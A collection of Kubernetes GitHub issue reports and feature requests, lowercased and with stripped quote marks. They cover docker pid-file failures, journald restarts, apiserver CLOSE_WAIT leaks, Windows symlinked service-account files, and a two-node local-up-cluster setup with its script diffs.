<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r - we setup a k8s cluster v1.8.4 using kops  v1.8.0  on aws. the cluster has 1 master + 3 worker nodes. \r - we installed our platform  deployments, statefulsets, elb  ingress-controller , etc .\r - after 1 day, one node is in the \ notready\  state, even that ec2 machine still runs normally. looking into its system, the  docker.service  failed to start:\r - run  tail kube-proxy.log \r    \r e1209 01:15:01.617070       7 proxier.go:990  failed to ensure that filter chain kube-services exists: error creating chain \ kube-services\ : fork/exec /sbin/iptables: resource temporarily unavailable:\r e1209 01:15:31.618198       7 proxier.go:990  failed to ensure that filter chain kube-services exists: error creating chain \ kube-services\ : fork/exec /sbin/iptables: resource temporarily unavailable:\r ...\r    \r - run  systemctl status docker.service \r    \r ● docker.service - docker application container engine\r    loaded: loaded  /lib/systemd/system/docker.service; enabled \r    active: activating  auto-restart   result: exit-code  since sat 2017-12-09 23:05:38 utc; 1s ago\r      docs: https://docs.docker.com\r   process: 28622 execstart=/usr/bin/dockerd -h fd:// $docker_opts  code=exited, status=1/failure \r   process: 27271 execstartpre=/opt/kubernetes/helpers/docker-prestart  code=exited, status=0/success \r  main pid: 28622  code=exited, status=1/failure \r \r dec 09 23:05:38 ip-172-20-101-225 systemd 1 : failed to start docker application container engine.\r dec 09 23:05:38 ip-172-20-101-225 systemd 1 : unit docker.service entered failed state.\r    \r - run  journalctl -xn \r    \r -- logs begin at sat 2017-12-09 00:54:13 utc, end at sat 2017-12-09 23:05:40 utc. --\r dec 09 23:05:40 ip-172-20-101-225 systemd 1 : starting docker socket for the api.\r -- subject: unit docker.socket has begun with start-up\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r --\r -- unit docker.socket has begun starting up.\r dec 09 23:05:40 ip-172-20-101-225 kubelet 1234 : e1209 23:05:40.256510    1234 remote_runtime.go:169  listpodsandbox with filter nil from runtime service failed: rpc error: code = unknown desc = error durin\r dec 09 23:05:40 ip-172-20-101-225 kubelet 1234 : e1209 23:05:40.256548    1234 kuberuntime_sandbox.go:198  listpodsandbox failed: rpc error: code = unknown desc = error during connect: get http://%2fvar%2fr\r dec 09 23:05:40 ip-172-20-101-225 kubelet 1234 : e1209 23:05:40.256566    1234 generic.go:196  genericpleg: unable to retrieve pods: rpc error: code = unknown desc = error during connect: get http://%2fvar%\r dec 09 23:05:40 ip-172-20-101-225 systemd 1 : listening on docker socket for the api.\r -- subject: unit docker.socket has finished start-up\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r --\r -- unit docker.socket has finished starting up.\r --\r -- the start-up result is done.\r dec 09 23:05:40 ip-172-20-101-225 systemd 1 : starting docker application container engine...\r -- subject: unit docker.service has begun with start-up\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r --\r -- unit docker.service has begun starting up.\r dec 09 23:05:40 ip-172-20-101-225 dockerd 29043 : error starting daemon: pid file found, ensure docker is not running or delete /var/run/docker.pid\r dec 09 23:05:40 ip-172-20-101-225 systemd 1 : docker.service: main process exited, code=exited, status=1/failure\r dec 09 23:05:40 ip-172-20-101-225 systemd 1 : failed to start docker application container engine.\r -- subject: unit docker.service has failed\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r --\r -- unit docker.service has failed.\r --\r -- the result is failed.\r dec 09 23:05:40 ip-172-20-101-225 systemd 1 : unit docker.service entered failed state.\r    \r \r i delete  /var/run/docker.pid  and restart  docker.service  successfully, the worker node then becomes ready.\r \r   what you expected to happen  :\r the docker application container engine should not fail unexpectedly.\r  \r   how to reproduce it  as minimally and precisely as possible   :\r don't know.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t21:07:53z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws, master  m2.medium , workers  m4.xlarge \r - os  e.g. from /etc/os-release : debian 8  jessie \r - kernel  e.g.  uname -a  :\r    \r uname -a\r linux ip-172-20-101-225 4.4.102-k8s  1 smp sun nov 26 23:32:43 utc 2017 x86_64 gnu/linux\r    \r - install tools: kops-v1.8.0\r - others:  etcd:2.2.1 \r

when i change journald.conf from volatile to persistent, restart systemd-journald will also restart kubelet and kube-proxy. the kubelet.service and kube-proxy.service does not requires depends  on journald. not sure what caused these two services restarted as well. docker.service seems fine without restart.\r \r centos linux 7  core  with 3.10.0-514.2.2.el7.x86_64\r \r    sh-4.2  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r sh-4.2  rpm -qa | grep systemd\r systemd-sysv-219-30.el7_3.6.x86_64\r systemd-219-30.el7_3.6.x86_64\r systemd-libs-219-30.el7_3.6.x86_64

hi,\r \r   feature request  \r due to several reasons we want to re-create pods. in k8s pod life cycle there is no option for settings pod lifetime. example: if pod is running with some certificate whose expiry is x days. we want to have an option k8s automatically delete pod after x days running and re-create new pod.\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i have a cluster with 400 nodes and 16,000 pods.recently, i found many orphan close_wait connections to kube-apiserver and they block request of client. \r when i restart apiserver,everything works fine.but after several hours,orphan close_wait connections show and block request again.\r after google,i realize that close_wait shows only when server donnot close connection properly.so i think it maybe it bug of kubeapiserver.\r \r   what you expected to happen  :\r i think kubeapiserver should close connection properly\r \r   how to reproduce it  as minimally and precisely as possible   :\r in a big cluster and many connections to apiserver\r \r   anything else we need to know?  :\r at first,there are some close_wait with timeout\r \r ! image  https://user-images.githubusercontent.com/8275883/42645150-e30ac07a-862f-11e8-9438-a925b6822da7.png \r \r .but after a while,all of them change to orphan close_wait\r \r ! image  https://user-images.githubusercontent.com/8275883/42644563-83899578-862e-11e8-8819-bf436a1a873f.png \r \r   environment  :\r - kubernetes version  use  kubectl version  :v1.6.6\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release :centos linux release 7.1.1503  core \r - kernel  e.g.  uname -a  :3.10.0-229.mt20171025.7.el7.x86_64\r - install tools:\r - others:\r

feature request:   - as a kube administrator, i would like to run a tool that exists once on every cluster. much like a daemonset, but instead of one on each node, one on each cluster that is registered to the federated api server.    why?:   lets say i have a tool like https://github.com/vungle/chef-synk it communicates to both a chef server and a kubernetes api in order to add/remove chef node ip's as a namespaced kubernetes external service i.e. all kafka nodes managed by chef under a kafka endpoint.  i only need one running on each cluster, if i create a federated replica set, add 3 replicas to match my 3  clusters. if another cluster is added later on, any pods running on that new cluster will not have the endpoints added automatically.

kubernetes version    use  kubectl version  :\r master\r \r   what happened  :\r attempting to build and deploy the federation images from the repo is heavily dependent upon google cloud.\r \r   what you expected to happen  :\r more flexibility in the build/deploy methods\r \r   how to reproduce it    as minimally and precisely as possible :\r follow http://kubernetes.io/docs/admin/federation/

dear kubernetes engineers,\r \r is there any particular reason why capital letters are not allowed in the token?\r \r -\r  https://github.com/kubernetes/kubernetes/blob/7e37b895d7c1e92ed6fee70f0e507688ac41ec7b/cmd/kubeadm/app/util/token/tokens.go l36\r \r - https://github.com/kubernetes/kubernetes/pull/41663/files diff-de98975ccd7f6f36d122d19b7c169191r175\r \r \r thanks

from comment on  prometheus.handler :\r    \r // deprecated: please note the issues described in the doc comment of\r // instrumenthandler. you might want to consider using promhttp.handler instead\r //  which is not instrumented, but can be instrumented with the tooling provided\r    \r \r usage in kubernetes:\r    \r cmd/kube-controller-manager/app/controllermanager.go\r 145:\t\tmux.handle \ /metrics\ , prometheus.handler   \r \r cmd/cloud-controller-manager/app/controllermanager.go\r 121:\t\tmux.handle \ /metrics\ , prometheus.handler   \r \r cmd/kube-proxy/app/server.go\r 646:\t\tmux.handle \ /metrics\ , prometheus.handler   \r \r staging/src/k8s.io/apiserver/pkg/server/routes/metrics.go\r 35:\tc.handle \ /metrics\ , prometheus.handler   \r 44:\tdefaultmetricshandler := prometheus.handler  .servehttp\r \r vendor/github.com/grpc-ecosystem/go-grpc-prometheus/readme.md\r 41:    http.handle \ /metrics\ , prometheus.handler   \r \r vendor/github.com/coreos/etcd/etcdserver/api/v2http/client.go\r 108:\tmux.handle metricspath, prometheus.handler   \r \r pkg/kubelet/kuberuntime/instrumented_services_test.go\r 41:\tmux.handle \ /metrics\ , prometheus.handler   \r \r pkg/kubelet/server/server.go\r 280:\ts.restfulcont.handle metricspath, prometheus.handler   \r \r federation/cmd/federation-controller-manager/app/controllermanager.go\r 107:\t\tmux.handle \ /metrics\ , prometheus.handler   \r \r plugin/cmd/kube-scheduler/app/server.go\r 167:\tmux.handle \ /metrics\ , prometheus.handler   \r    \r

container can be identified in the cluster at a given point of time by a tuple   namespace, pod_name, container_name  . currently, the only guaranteed way to get this information is downward api, which requires quite lengthy definition in the container's spec.\r \r however, this information is extremely important for monitoing/logging client libraries. they would benefit from being able to out of the box send the information to the backend without querying kubernetes api or a separate agent. example issue: https://github.com/googlecloudplatform/google-cloud-python/issues/3622\r \r @kubernetes/sig-node-feature-requests \r /cc @piosz @igorpeshansky

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i am trying to deploy prometheus on windows container inside a pod. i was getting the error that it cannot read the ca.crt and token files placed by kubernetes at 'c:\\var\\run\\secrets\\kubernetes.io\\serviceaccount'. detailed error is:\r ! image  https://user-images.githubusercontent.com/9897945/30375086-b5b269a2-98a0-11e7-8483-08d92cf2584a.png \r \r then i exec powershell inside that pod and further explored the 'c:\\var\\run\\secrets\\kubernetes.io\\serviceaccount' directory and found that the ca.crt and token files are based on symlink. but if i 'get-content ca.crt' then it fails to print the contents of the file giving the following error:\r ! image  https://user-images.githubusercontent.com/9897945/30375269-5ef55ab0-98a1-11e7-95f2-3aa8c9ab190e.png \r \r then i queried the symlink target of ca.crt file using 'get-childitem ca.crt | format-list' which is '{..data\\ca.crt}' \r    \r ps c:\\var\\run\\secrets\\kubernetes.io\\serviceaccount> get-childitem ca.crt | format-list\r \r \r     directory: c:\\var\\run\\secrets\\kubernetes.io\\serviceaccount\r \r \r \r name           : ca.crt\r length         : 0\r creationtime   : 9/13/2017 8:02:07 am\r lastwritetime  : 9/13/2017 8:02:07 am\r lastaccesstime : 9/13/2017 8:02:07 am\r mode           : -a---l\r linktype       : symboliclink\r target         : {..data\\ca.crt}\r versioninfo    : file:             c:\\var\\run\\secrets\\kubernetes.io\\serviceaccount\\ca.crt\r                  internalname:\r                  originalfilename:\r                  fileversion:\r                  filedescription:\r                  product:\r                  productversion:\r                  debug:            false\r                  patched:          false\r                  prerelease:       false\r                  privatebuild:     false\r                  specialbuild:     false\r                  language:\r \r    \r but when i cd to the '..data' directory and tried to list the content using dir command, it returned the following error:\r    \r dir : could not find a part of the path 'c:\\var\\run\\secrets\\kubernetes.io\\serviceaccount\\..data'.\r at line:1 char:1\r + dir\r + ~~~\r     + categoryinfo          : readerror:  c:\\var\\run\\secr...eaccount\\..data:string   get-childitem , directorynotfoundexception\r     + fullyqualifiederrorid : dirioerror,microsoft.powershell.commands.getchilditemcommand\r \r    \r but if i cd to the '..9989_13_09_08_02_06.402707801' folder and list the contents using dir, it shows me the ca.crt and token files and i can print the content of these files using get-content.\r    \r ps c:\\var\\run\\secrets\\kubernetes.io\\serviceaccount> dir\r \r \r     directory: c:\\var\\run\\secrets\\kubernetes.io\\serviceaccount\r \r \r mode                lastwritetime         length name\r ----                -------------         ------ ----\r d-----        9/13/2017   8:02 am                ..9989_13_09_08_02_06.402707801\r d----l        9/13/2017   8:02 am                ..data\r -a---l        9/13/2017   8:02 am              0 ca.crt\r -a---l        9/13/2017   8:02 am              0 namespace\r -a---l        9/13/2017   8:02 am              0 token\r \r \r ps c:\\var\\run\\secrets\\kubernetes.io\\serviceaccount>\r ps c:\\var\\run\\secrets\\kubernetes.io\\serviceaccount> cd .\\..9989_13_09_08_02_06.402707801\r ps c:\\var\\run\\secrets\\kubernetes.io\\serviceaccount\\..9989_13_09_08_02_06.402707801> dir\r \r \r     directory: c:\\var\\run\\secrets\\kubernetes.io\\serviceaccount\\..9989_13_09_08_02_06.402707801\r \r \r mode                lastwritetime         length name\r ----                -------------         ------ ----\r -a----        9/13/2017   8:02 am           1182 ca.crt\r -a----        9/13/2017   8:02 am              7 namespace\r -a----        9/13/2017   8:02 am            846 token\r \r \r    \r \r so, it means that there is some issue with the symlinks. due to this issue i am currently unable to deploy prometheus server.\r \r   what you expected to happen  :\r doing the 'get-content ca.crt' in 'c:\\var\\run\\secrets\\kubernetes.io\\serviceaccount' directory should print the contents of the file. and the file should be accessible to prometheus server.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. deploy a windows container in a pod.\r 2. exec powershell in that pod.\r 3. cd to 'c:\\var\\run\\secrets\\kubernetes.io\\serviceaccount' directory.\r 4. run 'get-content ca.crt' \r \r   anything else we need to know?  :\r   apart  , i also mounted a kubernetes volume with a windows container and populated this volume with kubernetes configmaps, it placed the file in the volume using symlink as well and the same issue is there as well. the actual file is in the ..9999xxx named directory but the symlink is not working.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r azure container service\r - os  e.g. from /etc/os-release :\r kubernetes with linux master and windows worker nodes.\r - kernel  e.g.  uname -a  :\r linux master:\r  linux k8s-master-ead988d1-0 4.4.0-93-generic  116-ubuntu smp fri aug 11 21:17:51 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r

\r git fetch upstream\r git checkout upstream/master\r   1a4a019\r make clean\r make clean_generated\r make generated_files\r    \r and  cmd/kubeadm/app/phases/etcd/spec/zz_generated.deepcopy.go  is still removed

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  kind bug\r \r \r \r   what happened  :\r whe i run  hack/update-codegen.sh \r    \r make: leaving directory '/root/xsw/src/k8s/kubernetes'\r ./hack/update-codegen.sh: line 66: internal_dirs @ : unbound variable\r    \r \r   what you expected to happen  :\r run success\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r \r kube-flannel pod on worker node unable to reach to k8s api server through internal k8s cluster service 10.0.0.1:443. kube-flannel pod in master mode is able to reach to 10.0.0.1:443\r \r <pre>\r \r   cluster/kubectl.sh logs kube-flannel-ds-ws9jf --namespace=kube-system\r i0221 21:53:02.318108       1 main.go:488  using interface with name eth1 and address 192.168.1.169\r i0221 21:53:02.411666       1 main.go:505  defaulting external address to interface address  192.168.1.169 \r e0221 21:53:32.413701       1 main.go:232  failed to create subnetmanager: error retrieving pod spec for 'kube-system/kube-flannel-ds-ws9jf': get https://10.0.0.1:443/api/v1/namespaces/kube-system/pods/kube-flannel-ds-ws9jf: dial tcp 10.0.0.1:443: i/o timeout\r \r \r </pre>\r \r   what you expected to happen  :\r pod in worker node or worker node should be able to reach to cluster service 10.0.0.1:443\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r follow steps  from https://github.com/kubernetes/community/blob/master/contributors/devel/running-locally.md\r instead of running a locally up all in one k8s cluster, i modified the hack/local-up-cluster.sh script to run one master node and one worker node\r \r modified cluster-master.sh diff based on local-up-cluster.sh\r <pre>\r  diff -u hack/local-up-cluster.sh hack/cluster-master.sh\r --- hack/local-up-cluster.sh    2018-02-21 09:05:18.713000000 -0800\r +++ hack/cluster-master.sh      2018-02-21 10:14:29.844000000 -0800\r @@ -15,6 +15,7 @@\r    limitations under the license.\r \r  kube_root=$ dirname \ ${bash_source}\  /..\r +k8s_master=\ 192.168.1.168\ \r \r    this command builds and runs a local kubernetes cluster.\r    you may need to run this as root to allow kubelet to open docker's socket,\r @@ -22,7 +23,7 @@\r  docker_opts=${docker_opts:-\ \ }\r  docker= docker ${docker_opts} \r  dockerize_kubelet=${dockerize_kubelet:-\ \ }\r -allow_privileged=${allow_privileged:-\ \ }\r +allow_privileged=${allow_privileged:-\ true\ }\r  deny_security_context_admission=${deny_security_context_admission:-\ \ }\r  psp_admission=${psp_admission:-\ \ }\r  node_admission=${node_admission:-\ \ }\r @@ -34,7 +35,7 @@\r    many dev environments run with swap on, so we don't fail in this env\r  fail_swap_on=${fail_swap_on:-\ false\ }\r    name of the network plugin, eg: \ kubenet\ \r -net_plugin=${net_plugin:-\ \ }\r +net_plugin=${net_plugin:-\ cni\ }\r    place the config files and binaries required by net_plugin in these directory,\r    eg: \ /etc/cni/net.d\  for config files, and \ /opt/cni/bin\  for binaries.\r  cni_conf_dir=${cni_conf_dir:-\ \ }\r @@ -64,7 +65,7 @@\r  kubectl=${kubectl:-cluster/kubectl.sh}\r  wait_for_url_api_server=${wait_for_url_api_server:-60}\r  enable_daemon=${enable_daemon:-false}\r -hostname_override=${hostname_override:-\ 127.0.0.1\ }\r +hostname_override=${hostname_override:-\ ${k8s_master}\ }\r  external_cloud_provider=${external_cloud_provider:-false}\r  external_cloud_provider_binary=${external_cloud_provider_binary:-\ \ }\r  cloud_provider=${cloud_provider:-\ \ }\r @@ -227,13 +228,13 @@\r  api_secure_port=${api_secure_port:-6443}\r \r    warning: for dns to work on most setups you should export api_host as the docker0 ip address,\r -api_host=${api_host:-localhost}\r -api_host_ip=${api_host_ip:-\ 127.0.0.1\ }\r +api_host=${api_host:-\ ${k8s_master}\ }\r +api_host_ip=${api_host_ip:-\ ${k8s_master}\ }\r  advertise_address=${advertise_address:-\ \ }\r  api_bind_addr=${api_bind_addr:-\ 0.0.0.0\ }\r  external_hostname=${external_hostname:-localhost}\r \r -kubelet_host=${kubelet_host:-\ 127.0.0.1\ }\r +kubelet_host=${kubelet_host:-\ ${k8s_master}\ }\r    by default only allow cors for requests on localhost\r  api_cors_allowed_origins=${api_cors_allowed_origins:-/127.0.0.1 : 0-9 + ?$,/localhost : 0-9 + ?$}\r  kubelet_port=${kubelet_port:-10250}\r @@ -635,6 +636,8 @@\r        --kubeconfig \ $cert_dir\ /controller.kubeconfig \\\r        --use-service-account-credentials \\\r        --controllers=\ ${kube_controllers}\  \\\r +      --allocate-node-cidrs=true \\\r +      --cluster-cidr=\ 10.244.0.0/16\  \\\r        --master=\ https://${api_host}:${api_secure_port}\  >\ ${ctlrmgr_log}\  2>&1 &\r      ctlrmgr_pid=$!\r  }\r </pre>\r \r modified cluster-worker.sh diff based on local-up-cluster.sh\r <pre>\r diff -u hack/local-up-cluster.sh hack/cluster-worker.sh\r --- hack/local-up-cluster.sh    2018-02-21 09:06:38.561000000 -0800\r +++ hack/cluster-worker.sh      2018-02-21 12:29:42.691000000 -0800\r @@ -15,6 +15,8 @@\r    limitations under the license.\r \r  kube_root=$ dirname \ ${bash_source}\  /..\r +k8s_master=\ 192.168.1.168\ \r +k8s_worker=\ 192.168.1.169\ \r \r    this command builds and runs a local kubernetes cluster.\r    you may need to run this as root to allow kubelet to open docker's socket,\r @@ -22,7 +24,7 @@\r  docker_opts=${docker_opts:-\ \ }\r  docker= docker ${docker_opts} \r  dockerize_kubelet=${dockerize_kubelet:-\ \ }\r -allow_privileged=${allow_privileged:-\ \ }\r +allow_privileged=${allow_privileged:-\ true\ }\r  deny_security_context_admission=${deny_security_context_admission:-\ \ }\r  psp_admission=${psp_admission:-\ \ }\r  node_admission=${node_admission:-\ \ }\r @@ -34,7 +36,7 @@\r    many dev environments run with swap on, so we don't fail in this env\r  fail_swap_on=${fail_swap_on:-\ false\ }\r    name of the network plugin, eg: \ kubenet\ \r -net_plugin=${net_plugin:-\ \ }\r +net_plugin=${net_plugin:-\ cni\ }\r    place the config files and binaries required by net_plugin in these directory,\r    eg: \ /etc/cni/net.d\  for config files, and \ /opt/cni/bin\  for binaries.\r  cni_conf_dir=${cni_conf_dir:-\ \ }\r @@ -64,7 +66,7 @@\r  kubectl=${kubectl:-cluster/kubectl.sh}\r  wait_for_url_api_server=${wait_for_url_api_server:-60}\r  enable_daemon=${enable_daemon:-false}\r -hostname_override=${hostname_override:-\ 127.0.0.1\ }\r +hostname_override=${hostname_override:-\ ${k8s_worker}\ }\r  external_cloud_provider=${external_cloud_provider:-false}\r  external_cloud_provider_binary=${external_cloud_provider_binary:-\ \ }\r  cloud_provider=${cloud_provider:-\ \ }\r @@ -88,7 +90,7 @@\r  auth_args=${auth_args:-\ \ }\r \r    install a default storage class  enabled by default \r -default_storage_class=${kube_default_storage_class:-true}\r +default_storage_class=${kube_default_storage_class:-false}\r \r    start the cache mutation detector by default so that cache mutators will be found\r  kube_cache_mutation_detector=\ ${kube_cache_mutation_detector:-true}\ \r @@ -227,13 +229,13 @@\r  api_secure_port=${api_secure_port:-6443}\r \r    warning: for dns to work on most setups you should export api_host as the docker0 ip address,\r -api_host=${api_host:-localhost}\r -api_host_ip=${api_host_ip:-\ 127.0.0.1\ }\r +api_host=${api_host:-\ ${k8s_master}\ }\r +api_host_ip=${api_host_ip:-\ ${k8s_master}\ }\r  advertise_address=${advertise_address:-\ \ }\r  api_bind_addr=${api_bind_addr:-\ 0.0.0.0\ }\r  external_hostname=${external_hostname:-localhost}\r \r -kubelet_host=${kubelet_host:-\ 127.0.0.1\ }\r +kubelet_host=${kubelet_host:-\ ${k8s_worker}\ }\r    by default only allow cors for requests on localhost\r  api_cors_allowed_origins=${api_cors_allowed_origins:-/127.0.0.1 : 0-9 + ?$,/localhost : 0-9 + ?$}\r  kubelet_port=${kubelet_port:-10250}\r @@ -741,7 +743,7 @@\r          --hostname-override=\ ${hostname_override}\  \\\r          ${cloud_config_arg} \\\r          --address=\ ${kubelet_host}\  \\\r -        --kubeconfig \ $cert_dir\ /kubelet.kubeconfig \\\r +        --kubeconfig \ $cert_dir\ /kubelet-\ ${k8s_worker}\ .kubeconfig \\\r          --feature-gates=\ ${feature_gates}\  \\\r          --cpu-cfs-quota=${cpu_cfs_quota} \\\r          --enable-controller-attach-detach=\ ${enable_controller_attach_detach}\  \\\r @@ -815,7 +817,7 @@\r  apiversion: kubeproxy.config.k8s.io/v1alpha1\r  kind: kubeproxyconfiguration\r  clientconnection:\r -  kubeconfig: ${cert_dir}/kube-proxy.kubeconfig\r +  kubeconfig: ${cert_dir}/kube-proxy-${k8s_worker}.kubeconfig\r  hostnameoverride: ${hostname_override}\r  featuregates: ${feature_gates}\r  mode: ${kube_proxy_mode}\r @@ -827,13 +829,13 @@\r        --v=${log_level} 2>&1 &\r      proxy_pid=$!\r \r -    scheduler_log=${log_dir}/kube-scheduler.log\r -    ${controlplane_sudo} \ ${go_out}/hyperkube\  scheduler \\\r -      --v=${log_level} \\\r -      --kubeconfig \ $cert_dir\ /scheduler.kubeconfig \\\r -      --feature-gates=\ ${feature_gates}\  \\\r -      --master=\ https://${api_host}:${api_secure_port}\  >\ ${scheduler_log}\  2>&1 &\r -    scheduler_pid=$!\r +     scheduler_log=${log_dir}/kube-scheduler.log\r +     ${controlplane_sudo} \ ${go_out}/hyperkube\  scheduler \\\r +       --v=${log_level} \\\r +       --kubeconfig \ $cert_dir\ /scheduler.kubeconfig \\\r +       --feature-gates=\ ${feature_gates}\  \\\r +       --master=\ https://${api_host}:${api_secure_port}\  >\ ${scheduler_log}\  2>&1 &\r +     scheduler_pid=$!\r  }\r \r  function start_kubedns {\r @@ -1002,6 +1004,7 @@\r          ;;\r        linux \r          start_kubelet\r +        start_kubeproxy\r          ;;\r          \r          warning \ unsupported host os.  must be linux or mac os x, kubelet aborted.\ \r \r </pre>\r \r create  script hack/kubeconfig.sh to create kubelet/kube-proxy kubeconfig for worker node\r <pre>\r  !/bin/bash\r \r \r kube_root=$ dirname \ ${bash_source}\  /..\r k8s_master=\ 192.168.1.168\ \r k8s_worker=\ 192.168.1.169\ \r \r kubectl=${kubectl:-cluster/kubectl.sh}\r \r source \ ${kube_root}/hack/lib/init.sh\ \r kube::util::ensure-cfssl\r \r api_port=${api_port:-8080}\r api_secure_port=${api_secure_port:-6443}\r \r api_host=${api_host:-\ ${k8s_master}\ }\r api_host_ip=${api_host_ip:-\ ${k8s_master}\ }\r \r   this is the default dir and filename where the apiserver will generate a self-signed cert\r   which should be able to be used as the ca to verify itself\r cert_dir=${cert_dir:-\ /var/run/kubernetes\ }\r root_ca_file=${cert_dir}/server-ca.crt\r root_ca_key=${cert_dir}/server-ca.key\r cluster_signing_cert_file=${cluster_signing_cert_file:-\ ${root_ca_file}\ }\r cluster_signing_key_file=${cluster_signing_key_file:-\ ${root_ca_key}\ }\r \r \r   ensure cert_dir is created for auto-generated crt/key and kubeconfig\r mkdir -p \ ${cert_dir}\  &>/dev/null || sudo mkdir -p \ ${cert_dir}\ \r controlplane_sudo=$ test -w \ ${cert_dir}\  || echo \ sudo -e\  \r \r \r for instance in ${k8s_worker}; do\r   create client certs signed with client-ca, given id, given cn and a number of groups\r kube::util::create_client_certkey \ ${controlplane_sudo}\  \ ${cert_dir}\  'client-ca' kubelet-${instance} system:node:${instance} system:nodes\r kube::util::create_client_certkey \ ${controlplane_sudo}\  \ ${cert_dir}\  'client-ca' kube-proxy-${instance} system:kube-proxy system:nodes\r \r done\r \r for instance in ${k8s_worker}; do\r   ${kubectl} config set-cluster local-up-cluster \\\r     --certificate-authority=\ ${cert_dir}\ /server-ca.crt \\\r     --embed-certs=true \\\r     --server=https://${k8s_master}:6443 \\\r     --kubeconfig=\ ${cert_dir}\ /kubelet-${instance}.kubeconfig\r \r   ${kubectl} config set-credentials system:node:${instance} \\\r     --client-certificate=\ ${cert_dir}\ /client-kubelet-${instance}.crt \\\r     --client-key=\ ${cert_dir}\ /client-kubelet-${instance}.key \\\r     --embed-certs=true \\\r     --kubeconfig=\ ${cert_dir}\ /kubelet-${instance}.kubeconfig\r \r   ${kubectl} config set-context local-up-cluster \\\r     --cluster=local-up-cluster \\\r     --user=system:node:${instance} \\\r     --kubeconfig=\ ${cert_dir}\ /kubelet-${instance}.kubeconfig\r \r   ${kubectl} config use-context local-up-cluster --kubeconfig=\ ${cert_dir}\ /kubelet-${instance}.kubeconfig\r done\r \r \r for instance in ${k8s_worker}; do\r   ${kubectl} config set-cluster local-up-cluster \\\r     --certificate-authority=\ ${cert_dir}\ /server-ca.crt \\\r     --embed-certs=true \\\r     --server=https://${k8s_master}:6443 \\\r     --kubeconfig=\ ${cert_dir}\ /kube-proxy-${instance}.kubeconfig\r \r   ${kubectl} config set-credentials system:node:${instance} \\\r     --client-certificate=\ ${cert_dir}\ /client-kube-proxy-${instance}.crt \\\r     --client-key=\ ${cert_dir}\ /client-kube-proxy-${instance}.key \\\r     --embed-certs=true \\\r     --kubeconfig=\ ${cert_dir}\ 